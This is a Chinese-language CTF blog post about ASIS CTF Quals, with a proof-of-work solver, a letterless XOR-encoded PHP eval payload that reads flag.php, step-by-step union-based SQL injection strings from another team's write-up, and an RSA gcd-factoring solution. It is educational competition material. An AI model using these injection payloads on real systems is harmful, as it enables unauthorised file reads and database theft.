暑假第一場 CTF online，同時也是我們 MacacaHub 的今年第三戰~
不過同時也被隊長告知有一定的難度要有心理準備，嗯、真滴難QwQ
題組全部共 31 題，雖然只解 4 題還有 Rank 151 / 815 … 太可怕了==
CTFtime link
寫在前面的話
從上圖可以看得出來，我們解出來的四題扣掉 Welcome 和 Survey(feedback)，實際答出來的只有兩題。然而還是有兩支隊伍破台，別忘了這場還是Quals(資格賽)，人外有人天外有天呢…
既然只摸出兩題，這篇標題自然沒辦法放 “writeup"，所以就當做見見世面發些心得，同時針對一些賽中我認為很有趣的題目稍微參考別人解法寫一下，其實有幾題看完題解發現都不太難，只是有沒有發現而已QQ。
Mechanism: Proof of Work
上次遇到 PoW 是 AIS3 EOF CTF 2019 的 Ponzi Scheme，這技術常見於區塊鏈加密貨幣的機制，是一種對應服務與資源濫用、或是阻斷服務攻擊(DoS)的經濟對策。要求使用者進行一些耗時適當的複雜運算，並且答案能被服務方快速驗算，以此耗用的時間、裝置與能源做為擔保成本，以確保服務與資源是被真正的需求所使用。
所以某方面也算是官方針對 nc 題目一種自我保護的機制，避免被大量玩家戳一戳就掛掉。另一方面，我自己猜可能有些題目可以用 Brute Force 的爆出答案，避免這種情況才加了這項機制。總之，雖然並非主要考點，但如果過不了也沒辦法解題XD 雖然並不是每題 nc 題目都有 PoW ，不過翻了翻 ASIS CTF 往年的題目只要有出現 PoW 的都不太一樣，沒辦法直接抄來用QQ
￬￬￬ 以這場來看，PoW描述如下 ￬￬￬
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$ nc [ip] [port]
> Please submit a printable string X, such that sha224(X)[-6:] = 6be655 and len(X) = 19
haha
> You must pass this PoW challenge :P
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翻譯一下：系統要求輸入長度為 19 的字串 X，同時要滿足 sha224(X) 後 6 位為 6be655。 其中， Hash Algorithm 的部分每次連線結果都不同，隨意測試就有 sha1, sha224, sha256, sha384, sha512, md5 …ect ，而且不同往年 ASIS CTF 多了指定 輸入長度len(x) ，同樣每次連線結果不同，測出來 Range 大約 10 - 40。
根據 Hash 的特性，雖然因為不可逆沒辦法從後6位往回推，但相同的輸入一定會得到 相同的輸出 ，那我們其實可以暴力產生指定長度的輸入，拿去 hash 再看看有沒有符合後6位的條件就行了。
個人的做法是連線後用字串處理拿到 Hash Algorithm 和 length ，只針對 sha256 且長度為 10的PoW直接爆搜字串進行驗證，簡單用python表示如下:
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from pwn import *
import hashlib
import string
def pow_solve(s):
for a in string.printable:
for b in string.printable:
for c in string.printable:
for d in string.printable:
for e in string.printable:
for f in string.printable:
for g in string.printable:
for h in string.printable:
for i in string.printable:
for j in string.printable:
if hashlib.sha256(a+b+c+d+e+f+g+h+i+j).hexdigest()[-6:] == s:
return a+b+c+d+e+f+g+h+i+j
# 通常1000次內一定會有 sha256 & len=10
for i in range(1000):
r = remote(host, port)
# 省略字串處理過程
hash_algo = r.recv(6)
if s == 'sha256':
target = r.recv(6)
length = r.recv(2)
if int(length) == 10:
r.sendline(pow_solve(target))
r.interactive()
#solve()
r.close()
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我知道一定會有人想吐槽那個 10 層迴圈，不過不想花時間刻 DFS 這樣寫最直觀 XD
賽後在網路上翻到其他玩家的作法如下，趕緊存起來!! source link
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#!/usr/bin/python3
import hashlib
import uuid
from pwn import *
#import string
r = remote("76.74.178.201", 8002)
info = r.recvuntil("\n").decode("UTF-8").split(" ")
print(info)
algo = info[8].split("(")[0]
target = info[10]
length = int(info[-1])
print(f"[*] algo needed: {algo}")
print(f"[*] target needed: {target}")
print(f"[*] length needed: {length}")
def random_ascii_generator(l):
string = str(uuid.uuid4()).replace("-", "")[0:l].encode("ascii")
return string[0:l]
algo_matching = {
"sha1": hashlib.sha1,
"md5": hashlib.md5,
"sha224": hashlib.sha224,
"sha256": hashlib.sha256,
"sha384": hashlib.sha384,
"sha512": hashlib.sha512,
}
candidate_hash = ""
while not candidate_hash[-6:] == target:
candidate_string = random_ascii_generator(length)
candidate_hash = algo_matching[algo](candidate_string).hexdigest()
print("[*] PoW found")
r.sendline(candidate_string)
print(r.recvline())
print(r.recvline())
print(r.recvline())
print(r.recvline())
print(r.recvline())
print(r.recvline())
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執行看起來就簡潔有力，好羨慕 >///<
P.S. 圖中的題目為 PPC-Titanic。
[Web] Web Warm-up (Solved)
Warm up! Can you break all the tasks? I’ll pray for you!
read flag.php
Link: http://69.90.132.196:5003/?view-source
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<?php
if(isset($_GET['view-source'])){
highlight_file(__FILE__);
die();
}
if(isset($_GET['warmup'])){
if(!preg_match('/[A-Za-z]/is',$_GET['warmup']) && strlen($_GET['warmup']) <= 60) {
eval($_GET['warmup']);
}else{
die("Try harder!");
}
}else{
die("No param given");
}
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從上方 source code 可以用 GET /warmup=，想辦法存取flag.php，不過限制就是無法使用英文字母以及payload長度必須小於60字元。
重點在於preg_match繞過，關鍵字拿去查找到 ctf中 preg_match 绕过技术 | 无字母数字的webshell。
其中的解法1就是答案了，簡單講就是利用"特殊字元"互相XOR出"字母”，舉例來說:
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>>> chr(ord('m')^ord('@'))
'-'
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表示 @ ^ - = m，最後只差在該如何構造出payload，畢竟我對php沒有到很熟 QQ
在參考其他ctf writeup想到的解法是
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$_=']),>'^';@@['; // file
$__='\],::'^'{;@[]'; // 'flag
$___='-@-\\'^'](]{'; // php'
$_($__.$___); // file('flag.php')
payload:
$_=']),>'^';@@[';$__='\],::'^'{;@[]';$___='-@-\\'^'](]{';$_($__.$___);
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無奈長度達69沒辦法繞過第二項條件。
另外用 $_='-@-)@]@'^'](]@.;/';$_(); 拼出 phpinfo();後可以觀察到有趣的資訊…
好吧好像一點也不有趣，對方伺服器擋了很多方便的系統函數，所以 @stavhaygn 也戳了不少 payload 都落空。
最後拼出來的答案其實很簡單… 就是 readfile('flag.php');
長度方面 ('[>:@]),>'^')[[$;@@[')('],::.-@-'^';@[]%00](]'); 為 49 ，可喜可賀。
[Web] Treasury #1 (Unsolved)
從題目點開連結後畫面如下，其中 AE 點開會跳出小視窗顯示書本內容，而 RO 會開新視窗連到書本來源。
我們從 treasury.js 可以看到抓取書本內容的方式為 /books.php?type=excerpt&id=xx ，其中 xx 就對應畫面中出現的三本書 id 分別為 1, 2, 3。
然後、就沒有然後了。
原因是我們顧著用整數戳 id ，或是想辦法找其他入口，忽略字串形式的方法（事實上我也沒戳很久就是了）。賽後看完 Writeup ，感覺自己缺少了很多這方面的瞭解，就算找到 SQLi 可能還是沒辦法戳出來QwQ
以下我大概整理 writeup 的解題思路：
a. 確定SQLi漏洞
透過 id=1' and 1=1; --%20 、 id=1' and 1=2; --%20 ，前者成功回傳資料，後者沒有任何顯示，可知該command後面的statement成功被執行。
P.S. 要注意 -- 註解後要多個空白 %20 ，否則會執行失敗
b. 嘗試用UNION搭配其他SQL command
從 id=9' union select 'hello'; --%20 發現回傳的Warning資訊是關於 simplexml_load_string() ，同時也間接表示可能有XXE的漏洞。
c. 確認資料庫種類和版本
從 id=9' union select @@version; --%20 瞭解資料庫為 MariaDB 及版本 10.5.4 ，然後 writeup 提供 https://sqliteonline.com/ 可以線上測試資料庫指令。
d. 逐步猜資料庫欄位
之後有點像 sqlmap 從已知的資訊開始把資料庫的內容還原出來，搜尋"mariadb enumerate columns"。
select column_name from information_schema.COLUMNS where table_name='books' limit 1,1; --: 其中information_schema.COLUMNS為一個View Table物件，另外limit可以限制開始位置(zero based)及列出筆數。
e. 針對XML structure逐步還原資料
writeup 中是利用substr(str, pos, len)嘗試抓 XML 資料，從錯誤提示把 tag 慢慢拼湊起來，如下。
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<book>
<id>1</id>
<name>blah</name>
<author>blah</author>
<year>blah</year>
<link>blah</link>
<flag>blah</flag>
<excerpt>blah</excerpt>
</book>
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concat('<book><excerpt>',replace(info, '<', ''),'</excerpt></book>')
最後為了讓所有資訊都能完整顯示(包含tag)，writeup使用cancat連結所有字串 及 replace('<','')把左角括號拿掉使tag渲染失敗，結束。
至於 Treasury #2 就是接下去利用 XXE 撈 flag。
[Crypto] Baby RSA (Unsolved)
All babies love [RSA] (↓). How about you?
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#!/usr/bin/python
from Crypto.Util.number import *
import random
from flag import flag
nbit = 512
while True:
p = getPrime(nbit)
q = getPrime(nbit)
e, n = 65537, p*q
phi = (p-1)*(q-1)
d = inverse(e, phi)
r = random.randint(12, 19)
if (d-1) % (1 << r) == 0:
break
s, t = random.randint(1, min(p, q)), random.randint(1, min(p, q))
t_p = pow(s*p + 1, (d-1)/(1 << r), n)
t_q = pow(t*q + 4, (d-1)/(1 << r), n)
print 'n =', n
print 't_p =', t_p
print 't_q =', t_q
print 'enc =', pow(bytes_to_long(flag), e, n)
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n = 10594734342063566757448883321293669290587889620265586736339477212834603215495912433611144868846006156969270740855007264519632640641698642134252272607634933572167074297087706060885814882562940246513589425206930711731882822983635474686630558630207534121750609979878270286275038737837128131581881266426871686835017263726047271960106044197708707310947840827099436585066447299264829120559315794262731576114771746189786467883424574016648249716997628251427198814515283524719060137118861718653529700994985114658591731819116128152893001811343820147174516271545881541496467750752863683867477159692651266291345654483269128390649
t_p = 4519048305944870673996667250268978888991017018344606790335970757895844518537213438462551754870798014432500599516098452334333141083371363892434537397146761661356351987492551545141544282333284496356154689853566589087098714992334239545021777497521910627396112225599188792518283722610007089616240235553136331948312118820778466109157166814076918897321333302212037091468294236737664634236652872694643742513694231865411343972158511561161110552791654692064067926570244885476257516034078495033460959374008589773105321047878659565315394819180209475120634087455397672140885519817817257776910144945634993354823069305663576529148
t_q = 4223555135826151977468024279774194480800715262404098289320039500346723919877497179817129350823600662852132753483649104908356177392498638581546631861434234853762982271617144142856310134474982641587194459504721444158968027785611189945247212188754878851655525470022211101581388965272172510931958506487803857506055606348311364630088719304677522811373637015860200879231944374131649311811899458517619132770984593620802230131001429508873143491237281184088018483168411150471501405713386021109286000921074215502701541654045498583231623256365217713761284163181132635382837375055449383413664576886036963978338681516186909796419
enc = 5548605244436176056181226780712792626658031554693210613227037883659685322461405771085980865371756818537836556724405699867834352918413810459894692455739712787293493925926704951363016528075548052788176859617001319579989667391737106534619373230550539705242471496840327096240228287029720859133747702679648464160040864448646353875953946451194177148020357408296263967558099653116183721335233575474288724063742809047676165474538954797346185329962114447585306058828989433687341976816521575673147671067412234404782485540629504019524293885245673723057009189296634321892220944915880530683285446919795527111871615036653620565630
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題目給了一份 code 和 output.txt，要求把 flag 推出來。
看起來還算是個資訊很多的crypto題，所以我一開始完全忽略 line 18 - 20，只想著能不能從 output.txt 把 flag 拼出來。後來也發現 n 根本沒辦法透過 factordb.com 拆成p, q，某方面來說也是蠻現實的題目：給予密文enc、公鑰(e, n)，不過多了奇怪的線索t_p, t_q。
參考 writeup
前半部 While 是標準的 RSA ，從 writeup 來看關鍵就在 line 18 - 20… 嗯、聽起來是廢話，但我當初忽略的原因在於 line 18 的 s, t 完全是透過 p, q 隨機出來的數字，就算知道 n 可以間接固定 p , q ，但在爆不出來的情況下更遑論推出 d，所以花了很多時間在亂推式子 ==
真正的關鍵點在line 19: t_p = pow(s*p + 1, (d-1)/(1 << r), n)，在已經知道 $t_p$ 的前提可以整理如下:
$$t_p = (s*p + 1) ^ {(d-1)/(1«r)}$$
再來writeup說明算式右邊部分除了 $1$ 以外都可以被 $p$ 整除，我自己最後的理解如下。
令 $x = s * p$ ，在 $(x + 1) ^ k$ 的情況下把 $k$ 用 $2, 3$ 代入看看：
$$(x+1)^2 = x^2 + 2*x*1 + 1^2$$
$$(x+1)^3 = x^3 + 3*x^2*1^1 + 3*x^1*1^2 + 1^3$$
根據上述兩式，若 $x$ 能夠被 $p$ 整除，那會得到 $(x+1)^k = 1\ mod\ p $，回到原式可知
$$t_p\ mod\ p = (s*p + 1) ^ {(d-1)/(1«r)}\ mod\ p = 1 ， \therefore t_p = 1\ mod\ p$$
這下我們可以確定 $t_p-1$ 是 $p$ 的倍數，同時由於 $n=p*q$ ， $n$ 也是 $p$ 的倍數，剩下就好辦了~
↓ 直接照搬code（懶） ↓
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>>> from Crypto.Util.number import *
>>> from math import gcd
>>> n = {blah}
>>> t_p = {blah}
>>> enc = {blah}
>>> p = gcd(n,t_p-1)
>>> q = n // p
>>> assert n == p * q
>>> phi = (p-1)*(q-1)
>>> e = 65537
>>> d = inverse(e,phi)
>>> long_to_bytes(pow(enc,d,n))
b'ASIS{baby___RSA___f0r_W4rM_uP}'
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[Misc][Forensics] Adventure
Time plays a role in almost every decision. And some decisions define your attitude about time.
Can you [README.txt]? It’s time for a new adventure!
Note: Slow-download is international and part of the task.
題目給定下載連結，印象中好像有到 4G bytes，然後你會發現下載超慢還會斷XDD
然後我就傻傻的一直給他按下載丟著讓他跑，想當然爾沒有結果~
看完 writeup 才發覺這題其實還蠻好玩der !!
如果有時間希望可以在這裡補完自己摸過之後的想法 ><
Cyris's Blog
